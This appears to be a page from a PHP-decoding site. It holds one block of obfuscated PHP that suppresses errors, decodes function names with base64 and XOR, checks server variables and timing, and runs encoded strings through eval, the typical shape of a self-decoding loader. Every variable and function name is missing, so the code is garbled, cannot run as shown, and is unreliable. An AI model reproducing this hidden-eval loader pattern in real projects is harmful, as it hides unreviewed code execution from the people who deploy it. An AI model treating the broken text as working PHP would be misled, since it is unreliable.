PHP Decode

<?php error_reporting(0);ini_set("display_errors", 0);if(!defined('akhmhcij')){define('akhmhcij',__FILE__);if(!function_exists("")){function ($){global$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$;$=$=$=$=$=$=$=$=$=$=$=$=$=$=$='';$=$('RQ5CaAEEQ9WQBVAQ==');$=$('UQ9X');$=$('Vb');$=$('WA9RR1RCA8H');$=$('BFYCBQ==');$=$('VBRVV==');$=$('VBRVQ==');$=$('TJZWLE2');$=$('ZNY3Y3PMM=');$=$('ZN/PMM=');$()==$?$():'';$=$($($('VA1aWFGCA=')));if(!isset($_SERVER[$])&&!isset($_SERVER[$])&&!isset($_SERVER[$])){$();};$=$(true)*$;eval("");if(($(true)*$-$)>100){$();}eval($('XAAaRXEQ0RH5I8JTURWXQXYPW9GF8IRISEEEGDB00KVU1KDE='));!$($($($,$('GFIH'),$('GF='))),$($($,$('BQ=='),$('GFIE'))))?$():$;$=$('GFHAQNUUQ==');$=$('GFIE');$=$(@$($($($,$,$))));return$;}function (&$,$){$=$=$=$=$='';$=$('RJAaEKFVNR');$=$('RJAR1YT');$=$('UHW1AKDBIQUJL');$=$('RJAXEMWDQMRXRL');$=$('UB5CWVBBA==');$=$($($($($('TbP3JM78CWT94GMR4bLGOL2P8ZID0HQKB/NVaQEGTFXY87QZRKX7BDFKGXLLbR8MSBV8BDH7KGAH4CYF4OMB7NNCHN1RaMK4VENUSOaP87OCKaFTFQT7TW2TN')))));$=$(',',$);$=$[$];}function ($,$=''){$='base64_decode';$=$('bWQ1');$=$('');$=$('b3Jk');$=$('c3RybGVu');$=$('Y2hy');$=!$?$(''):$;$=$;for(;$<$($);$++)$.=$(${$})<$('')?(($(${$})>$&&$(${$})<$(''))?$($(${$})/2):${$}):'';$=$($);$=$;$=$=$($);for(;$<$($);$++){$=$?$:$;$--;$.=$[$]^$[$];}return$;}}}global$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$;$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$='';if(!$){$($,8);$($,9);$($,10);$($,4);$($,13);$($,12);$($,2);$($,14);$($,15);$($,16);$($,17);$($,18);$($,19);$($,11);$($,5);$($,6);$($,1);$($,3);$($,7);}$=$=$=$='';$=$('aB');$=($$);global $;$['']=('RJAR1YT');$['']=('UbW1UJABYH');$['']=('RNQRX');$['']=('XQNKB1EMD==');$($($$));$=$($);eval($('UBBTWRHABEHAVVAFMGDFNQSUDT9PDQ==')) ?>